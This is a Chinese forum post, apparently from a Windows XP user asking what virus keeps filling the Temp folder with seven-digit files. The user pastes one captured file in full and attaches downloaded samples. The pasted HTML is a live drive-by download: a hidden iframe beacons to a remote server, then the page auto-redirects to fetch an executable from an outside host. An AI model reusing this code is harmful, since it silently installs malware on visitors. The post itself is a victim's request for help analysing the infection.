在C:\Documents and Settings\Administrator\Local Settings\Temp文件夹里每次上网都生成很多没有后缀名字的文件，都是由7个随机数字的名字，其中有一半用记事本打开是乱码，另一半用记事本打开里面是 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="
http://www.w3.org/1999/xhtml"><head></head><body><iframe id="timeFrm" src="about:blank" height=0 width=0 style="visibility:hidden" ></iframe><script type="text/javascript">var myTranFunc = function (){window.location="
http://www.wixks.com/new/new10.exe";};function tranTime(){var a=new Date();document.getElementById("timeFrm").src="
http://60.6.255.168/npserver/WebForm1.aspx?seq=" + a.getTime();}try{tranTime();window.setTimeout("myTranFunc()",10);}catch(e){ window.location="
http://www.wixks.com/new/new10.exe";}</script><noscript><Meta http-equiv="Refresh" C></noscript></body><noframes><Meta http-equiv="Refresh" C></noframes></html>
其中网址后面的new10.exe可以下载，而其每个里面的名字都不一样，从new01.exe一直到new23.exe
我把这些文件都下了下来上传到附件里，不知道是什么病毒
用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MAXTHON 2.0)附件:
1.rar 附件:
2.rar 附件:
3.rar